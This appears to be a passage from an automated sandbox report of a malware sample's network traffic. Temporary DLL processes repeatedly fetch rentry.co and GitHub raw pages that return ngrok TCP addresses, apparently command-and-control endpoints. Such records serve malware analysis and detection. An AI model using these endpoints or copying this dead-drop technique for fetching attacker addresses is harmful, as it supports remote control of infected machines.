2024-08-05 09:57:53 UTC	1369	IN	Data Raw: 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 64 6f 6d 61 69 6e 27 2c 20 68 6e 20 2b 20 27 2c 72 65 6e 74 72 79 27 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 63 72 69 70 74 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 0a 20 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6d 2d 30 20 70 2d 30 22 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 6f 6f 74 68 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 6e 6f 2d 67 75 74 74 65 72 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 31 Data Ascii: e; script.setAttribute('data-domain', hn + ',rentry'); document.head.appendChild(script);</script> </head><body class="m-0 p-0"> <div class="container container-smooth"> <div class="row no-gutters"> <div class="col-1
2024-08-05 09:57:53 UTC	879	IN	Data Raw: 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 61 65 35 65 63 66 31 35 65 39 38 37 63 61 38 27 2c 74 3a 27 4d 54 63 79 4d 6a 67 31 4d 54 67 33 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 61 2e 6e 6f 6e 63 65 3d 27 27 3b 61 2e 73 72 63 3d 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 73 63 72 69 70 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 Data Ascii: ment;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ae5ecf15e987ca8',t:'MTcyMjg1MTg3My4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElement
2024-08-05 09:57:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	104.26.3.16	443	3196	C:\Users\user\AppData\Local\Temp\DLL46B0.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:58:14 UTC	133	OUT	GET /zsbkz/raw HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:58:14 UTC	696	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:58:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 23 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M86VPv6MkIR22GXWEUREpZR5NmlZZpgxGBCIU3%2Fqyum90CQHHk28u22YDA6lDXMTReslahg0Sk34fwsZHEKE6MpmcyOZaqcJRscWQ%2FcmVCeQ2O8Q7tQ%2FfVE2vA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5ed75ef50435b-EWR
2024-08-05 09:58:14 UTC	23	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 37 34 31 Data Ascii: 0.tcp.in.ngrok.io:11741

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	104.26.3.16	443	2260	C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:58:21 UTC	133	OUT	GET /zsbkz/raw HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:58:21 UTC	696	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:58:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 23 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TjD1JX9Nu5Hz9WzcU5efPPLaS0t%2B7yFuVzPwbK%2BAp4%2BFuWLH5n55Fo5zpFeM8kdXN5Jtfd7kpN3VvsmEZsJhzoMw1QC2q64HrVuxBdnOin84YLX5mHCzHTcVNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5ed9e486f7279-EWR
2024-08-05 09:58:21 UTC	23	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 37 34 31 Data Ascii: 0.tcp.in.ngrok.io:11741

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	104.26.3.16	443	5548	C:\Users\user\AppData\Local\Temp\DLL663C.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:58:27 UTC	133	OUT	GET /zsbkz/raw HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:58:28 UTC	698	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:58:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 23 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DdvhxEBRmcLHC%2BDrtAOqL9goRR8T4NBQsW20J1jigdvhSPATUlymTYTmuc62CcdL14xdgA4fXCMde%2FGzOVh6ibZ%2FTK0ULyjlMe3EUMrBrszN8n%2BuNKxexQsKpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5edc769a98ce0-EWR
2024-08-05 09:58:28 UTC	23	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 37 34 31 Data Ascii: 0.tcp.in.ngrok.io:11741

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	104.26.3.16	443	7180	C:\Users\user\AppData\Local\Temp\DLLF657.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:58:35 UTC	143	OUT	GET /zsbkz/raw%C3%ABH%02 HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:58:35 UTC	658	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 09:58:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Q%2F9XwaxK4rTBPFffUNL6gGfyy6ZrMibG4acei2Y3UPMpgVN4C34t%2FWSey3oksc%2BC8VUJvjNfoDzxSTF4h2X3UXU85RXRdTUBZKtQKx5nzm66%2FDnwJ0kpnBP2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5edf619064357-EWR
2024-08-05 09:58:35 UTC	711	IN	Data Raw: 31 30 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: 10e1<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" content=
2024-08-05 09:58:35 UTC	1369	IN	Data Raw: 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 20 53 65 72 76 69 63 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 Data Ascii: a property="og:url" content="https://rentry.co/" /> <meta property="og:title" content="Rentry.co - Markdown Paste Service" /> <meta property="og:description" content="Markdown paste service with preview, custom urls and editing." /> <meta prop
2024-08-05 09:58:35 UTC	1369	IN	Data Raw: 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 64 6f 6d 61 69 6e 27 2c 20 68 6e 20 2b 20 27 2c 72 65 6e 74 72 79 27 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 63 72 69 70 74 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 0a 20 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6d 2d 30 20 70 2d 30 22 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 6f 6f 74 68 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 6e 6f 2d 67 75 74 74 65 72 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c Data Ascii: rue; script.setAttribute('data-domain', hn + ',rentry'); document.head.appendChild(script);</script> </head><body class="m-0 p-0"> <div class="container container-smooth"> <div class="row no-gutters"> <div class="col
2024-08-05 09:58:35 UTC	880	IN	Data Raw: 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 61 65 35 65 64 66 36 31 39 30 36 34 33 35 37 27 2c 74 3a 27 4d 54 63 79 4d 6a 67 31 4d 54 6b 78 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 61 2e 6e 6f 6e 63 65 3d 27 27 3b 61 2e 73 72 63 3d 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 73 63 72 69 70 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 Data Ascii: cument;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ae5edf619064357',t:'MTcyMjg1MTkxNS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getEleme
2024-08-05 09:58:35 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-05 09:58:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	104.26.3.16	443	7180	C:\Users\user\AppData\Local\Temp\DLLF657.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:58:35 UTC	140	OUT	GET /zsbkz/raw%EBH%02 HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:58:36 UTC	662	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 09:58:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3rrlWVqyvOTIp7w4iwGRKZ%2F5PHCDvpkwL3SHeIjOYmyLgXle7jDVB%2B%2Fh7QmdUR2yNEClpcPMbJ7CJpD6TAchBJ5uOkL%2Fos7JPwzpMPr2%2F9jdNL3VDCmW%2FOZHRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5edfa883e42f2-EWR
2024-08-05 09:58:36 UTC	707	IN	Data Raw: 31 30 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: 10e1<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" content=
2024-08-05 09:58:36 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 20 53 65 72 76 69 63 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 Data Ascii: <meta property="og:url" content="https://rentry.co/" /> <meta property="og:title" content="Rentry.co - Markdown Paste Service" /> <meta property="og:description" content="Markdown paste service with preview, custom urls and editing." /> <meta
2024-08-05 09:58:36 UTC	1369	IN	Data Raw: 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 64 6f 6d 61 69 6e 27 2c 20 68 6e 20 2b 20 27 2c 72 65 6e 74 72 79 27 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 63 72 69 70 74 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 0a 20 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6d 2d 30 20 70 2d 30 22 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 6f 6f 74 68 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 6e 6f 2d 67 75 74 74 65 72 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: = true; script.setAttribute('data-domain', hn + ',rentry'); document.head.appendChild(script);</script> </head><body class="m-0 p-0"> <div class="container container-smooth"> <div class="row no-gutters"> <div class=
2024-08-05 09:58:36 UTC	884	IN	Data Raw: 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 61 65 35 65 64 66 61 38 38 33 65 34 32 66 32 27 2c 74 3a 27 4d 54 63 79 4d 6a 67 31 4d 54 6b 78 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 61 2e 6e 6f 6e 63 65 3d 27 27 3b 61 2e 73 72 63 3d 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 73 63 72 69 70 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 Data Ascii: w.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ae5edfa883e42f2',t:'MTcyMjg1MTkxNi4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getE
2024-08-05 09:58:36 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-05 09:58:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	185.199.110.133	443	7584	C:\Users\user\AppData\Local\Temp\DLL82AA.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:58:40 UTC	179	OUT	GET /DevilBot000/Client_IP_PORT/main/IP_PORT HTTP/1.1 Host: raw.githubusercontent.com User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:58:40 UTC	893	IN	HTTP/1.1 200 OK Connection: close Content-Length: 24 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "b582075db8192cfa28b53b677d81049ea870e54b39972b2026d92429dad956d1" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2699:2FE44C:11B2FA8:13F824B:66B0A24B Accept-Ranges: bytes Date: Mon, 05 Aug 2024 09:58:40 GMT Via: 1.1 varnish X-Served-By: cache-ewr18180-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1722851921.900707,VS0,VE54 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: ab60537930d7e3383511bbbbb22cc2bb975290d2 Expires: Mon, 05 Aug 2024 10:03:40 GMT Source-Age: 0
2024-08-05 09:58:40 UTC	24	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 37 33 30 39 0a Data Ascii: 0.tcp.in.ngrok.io:17309

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	104.26.3.16	443	6592	C:\Users\user\AppData\Local\Temp\DLL120A.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:58:49 UTC	133	OUT	GET /zsbkz/raw HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:58:49 UTC	704	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:58:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 23 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WLMDKLsb3C2%2BtthNqMaIaF7dCV1m%2BGAXoCM7CU6darHOmKkfj6XfbNa0vv%2B0NsAPaxg%2BjKPUCHJ8Kh%2Fwe4eWB%2B7MpuGOU%2BEkofScgk4ffpruoFv22mGG2QPj4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5ee4d2b67433a-EWR
2024-08-05 09:58:49 UTC	23	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 37 34 31 Data Ascii: 0.tcp.in.ngrok.io:11741

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49754	104.26.3.16	443	7000	C:\Users\user\AppData\Local\Temp\DLLAA54.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:58:56 UTC	133	OUT	GET /zsbkz/raw HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:58:56 UTC	704	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:58:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 23 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HmZL5DaqhWHYcs8rks%2FPjoKm7Xd%2BVXlpGH8%2BcahKCZE%2BCusMbCweVpX4lhHquFu8rJ0E4OeMRrwTjNlJN7Ys%2FrXbTXmB8jC9PkApH%2Btzw%2BkRbfKV5Q6si8pp5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5ee7b5df57d18-EWR
2024-08-05 09:58:56 UTC	23	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 37 34 31 Data Ascii: 0.tcp.in.ngrok.io:11741

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	104.26.3.16	443	7296	C:\Users\user\AppData\Local\Temp\DLL39F2.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:59:04 UTC	133	OUT	GET /zsbkz/raw HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:59:04 UTC	702	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:59:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 23 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g2FlpE58OCvqg0MhYz20qb7Gj4NiyuY3FtQuNXAaOrNuCCuTtlutmh%2BkEMhXISF60%2BfhT7I4%2FzgxDN7C4q5Uz%2FjRqAi3fjCq3jp5ZcNothrA8Pj%2Fr0%2F6uV6qAg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5eeaaa8dc5e86-EWR
2024-08-05 09:59:04 UTC	23	IN	Data Raw: 30 2e 74 63 70 2e 69 6e 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 37 34 31 Data Ascii: 0.tcp.in.ngrok.io:11741

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49758	104.26.3.16	443	7252	C:\Users\user\AppData\Local\Temp\DLLD067.tmp

Timestamp	Bytes transferred	Direction	Data
2024-08-05 09:59:12 UTC	143	OUT	GET /zsbkz/raw%C3%ABH%02 HTTP/1.1 Host: rentry.co User-Agent: Wget/1.21.4 Accept: / Accept-Encoding: identity Connection: Keep-Alive
2024-08-05 09:59:13 UTC	662	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 09:59:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SNYdLSPUbQk6%2B2wwLHZblPYIO3Sut4rZuz%2F7tlIg98Tb6uKPNAvXI7PQ2Z1zF7CVCvFBvhXx2%2FuPZOzAQfCFvim%2FKtQOt2S9gG31kf%2FnUEt%2BIQ7VFTOKjWqbmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ae5eee069321849-EWR
